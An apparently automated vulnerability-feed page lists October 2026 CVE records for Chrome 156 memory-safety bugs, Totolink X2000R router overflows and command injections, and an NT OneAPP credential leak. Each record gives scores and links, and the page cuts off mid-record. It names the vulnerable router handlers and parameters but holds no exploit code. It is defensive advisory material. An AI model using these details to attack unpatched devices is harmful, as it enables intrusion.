Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113112).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113112&date=2026-10-25).
Sources:
NVD CVE-2026-113112: https://nvd.nist.gov/vuln/detail/CVE-2026-113112
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113112&date=2026-10-25
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113113
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113113).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113113&date=2026-10-25).
Sources:
NVD CVE-2026-113113: https://nvd.nist.gov/vuln/detail/CVE-2026-113113
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113113&date=2026-10-25
Use after free in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to read memory via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113143
Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to read memory via a crafted HTML page. (Oct 20, 2026).
Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to read memory via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113143).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113143&date=2026-10-25).
Sources:
NVD CVE-2026-113143: https://nvd.nist.gov/vuln/detail/CVE-2026-113143
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113143&date=2026-10-25
Memory corruption in ANGLE in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to read memory via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in WebUI in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113148
Memory corruption in WebUI in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in WebUI in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113148).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113148&date=2026-10-25).
Sources:
NVD CVE-2026-113148: https://nvd.nist.gov/vuln/detail/CVE-2026-113148
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113148&date=2026-10-25
Memory corruption in WebUI in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in FullScreen in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113149
Memory corruption in FullScreen in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in FullScreen in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113149).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113149&date=2026-10-25).
Sources:
NVD CVE-2026-113149: https://nvd.nist.gov/vuln/detail/CVE-2026-113149
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113149&date=2026-10-25
Memory corruption in FullScreen in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Bindings in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113150
Memory corruption in Bindings in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Bindings in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113150).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113150&date=2026-10-25).
Sources:
NVD CVE-2026-113150: https://nvd.nist.gov/vuln/detail/CVE-2026-113150
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113150&date=2026-10-25
Memory corruption in Bindings in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Navigation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113181
Use after free in Navigation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Navigation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113181).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113181&date=2026-10-25).
Sources:
NVD CVE-2026-113181: https://nvd.nist.gov/vuln/detail/CVE-2026-113181
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113181&date=2026-10-25
Use after free in Navigation in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Passwords in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113182
Memory corruption in Passwords in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Passwords in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113182).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113182&date=2026-10-25).
Sources:
NVD CVE-2026-113182: https://nvd.nist.gov/vuln/detail/CVE-2026-113182
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113182&date=2026-10-25
Memory corruption in Passwords in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in FedCM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113183
Memory corruption in FedCM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in FedCM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113183).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113183&date=2026-10-25).
Sources:
NVD CVE-2026-113183: https://nvd.nist.gov/vuln/detail/CVE-2026-113183
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113183&date=2026-10-25
Memory corruption in FedCM in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NT OneAPP developed by NewType Infortech has a Credential Disclosure vulnerability.
https://kevwire.com/record/CVE-2026-114221
NT OneAPP developed by NewType Infortech has a Credential Disclosure vulnerability. (Oct 22, 2026).
NT OneAPP developed by NewType Infortech has a Credential Disclosure vulnerability. Unauthenticated remote attackers can trigger an HTTP Basic Authentication challenge from an unvalidated source in the WebView under specific conditions, thereby obtaining the NUP Portal passcode of a logged-in user.
CVSS 5.9 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114221).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114221&date=2026-10-25).
Sources:
NVD CVE-2026-114221: https://nvd.nist.gov/vuln/detail/CVE-2026-114221
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114221&date=2026-10-25
NT OneAPP developed by NewType Infortech has a Credential Disclosure vulnerability. Unauthenticated remote attackers can trigger an HTTP Basic Authentication challenge from an unvalidated source in the WebView under specific conditions, thereby obtaining the NUP Portal passcode of a logged-in user.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A stack-based buffer overflow vulnerability exists in the boa formMapDelDevice hostname functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).
https://kevwire.com/record/CVE-2026-28763
A stack-based buffer overflow vulnerability exists in the boa formMapDelDevice hostname functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). (Oct 20, 2026).
A stack-based buffer overflow vulnerability exists in the boa formMapDelDevice hostname functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
CVSS 9.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-28763).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-28763&date=2026-10-25).
Sources:
NVD CVE-2026-28763: https://nvd.nist.gov/vuln/detail/CVE-2026-28763
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-28763&date=2026-10-25
A stack-based buffer overflow vulnerability exists in the boa formMapDelDevice hostname functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A OS command injection vulnerability exists in the boa formMapDelDevice macstr functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).
https://kevwire.com/record/CVE-2026-33568
A OS command injection vulnerability exists in the boa formMapDelDevice macstr functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). (Oct 20, 2026).
A OS command injection vulnerability exists in the boa formMapDelDevice macstr functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
CVSS 9.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-33568).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-33568&date=2026-10-25).
Sources:
NVD CVE-2026-33568: https://nvd.nist.gov/vuln/detail/CVE-2026-33568
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-33568&date=2026-10-25
A OS command injection vulnerability exists in the boa formMapDelDevice macstr functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A stack-based buffer overflow vulnerability exists in the boa formParentControl deviceName functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).
https://kevwire.com/record/CVE-2026-40615
A stack-based buffer overflow vulnerability exists in the boa formParentControl deviceName functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). (Oct 20, 2026).
A stack-based buffer overflow vulnerability exists in the boa formParentControl deviceName functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
CVSS 9.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40615).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-40615&date=2026-10-25).
Sources:
NVD CVE-2026-40615: https://nvd.nist.gov/vuln/detail/CVE-2026-40615
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-40615&date=2026-10-25
A stack-based buffer overflow vulnerability exists in the boa formParentControl deviceName functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An os command injection vulnerability exists in the boa formWsc targetAPSsid functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327.
https://kevwire.com/record/CVE-2026-40627
An os command injection vulnerability exists in the boa formWsc targetAPSsid functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. (Oct 20, 2026).
An os command injection vulnerability exists in the boa formWsc targetAPSsid functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
CVSS 9.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-40627).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-40627&date=2026-10-25).
Sources:
NVD CVE-2026-40627: https://nvd.nist.gov/vuln/detail/CVE-2026-40627
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-40627&date=2026-10-25
An os command injection vulnerability exists in the boa formWsc targetAPSsid functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A stack-based buffer overflow vulnerability exists in the boa formParentControl url functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).
https://kevwire.com/record/CVE-2026-41222
A stack-based buffer overflow vulnerability exists in the boa formParentControl url functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). (Oct 20, 2026).
A stack-based buffer overflow vulnerability exists in the boa formParentControl url functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
CVSS 9.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41222).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-41222&date=2026-10-25).
Sources:
NVD CVE-2026-41222: https://nvd.nist.gov/vuln/detail/CVE-2026-41222
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-41222&date=2026-10-25
A stack-based buffer overflow vulnerability exists in the boa formParentControl url functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A stack-based buffer overflow vulnerability exists in the boa formMapDelDevice macstr functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).
https://kevwire.com/record/CVE-2026-41223
A stack-based buffer overflow vulnerability exists in the boa formMapDelDevice macstr functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). (Oct 20, 2026).
A stack-based buffer overflow vulnerability exists in the boa formMapDelDevice macstr functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.
CVSS 9.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-41223).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-41223&date=2026-10-25).
Sources:
NVD CVE-2026-41223: https://nvd.nist.gov/vuln/detail/CVE-2026-41223
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-41223&date=2026-10-25
A stack-based buffer overflow vulnerability exists in the boa formMapDelDevice macstr functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327). A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger this vulnerability.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup pppoe functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327.
https://kevwire.com/record/CVE-2026-42019
Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup pppoe functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. (Oct 20, 2026).
Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup pppoe functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the pppoe_dns1 parameter.
CVSS 9.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42019).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-42019&date=2026-10-25).
Sources:
NVD CVE-2026-42019: https://nvd.nist.gov/vuln/detail/CVE-2026-42019
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-42019&date=2026-10-25
Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup pppoe functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the pppoe_dns1 parameter.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup pppoe functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327.
https://kevwire.com/record/CVE-2026-42020
Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup pppoe functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. (Oct 20, 2026).
Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup pppoe functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the pppoe_dns2 parameter.
CVSS 9.1 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-42020).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-42020&date=2026-10-25).
Sources:
NVD CVE-2026-42020: https://nvd.nist.gov/vuln/detail/CVE-2026-42020
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-42020&date=2026-10-25
Multiple stack-based buffer overflow vulnerabilities exist in the boa formIpv6Setup pppoe functionality of Totolink X2000R TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327. A specially crafted HTTP request can lead to arbitrary code execution. An attacker can make an authenticated HTTP request to trigger these vulnerabilities. This vulnerability concerns the pppoe_dns2 parameter.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Multiple exploitable stack-based buffer overflow vulnerabilities exist in the boa formFilter functionality of X2000R (version(s): TOTOLINK-X2000R-Gh-V1.0.0-B20250421.1327).
https://kevwire.com/record/CVE-2026-9659
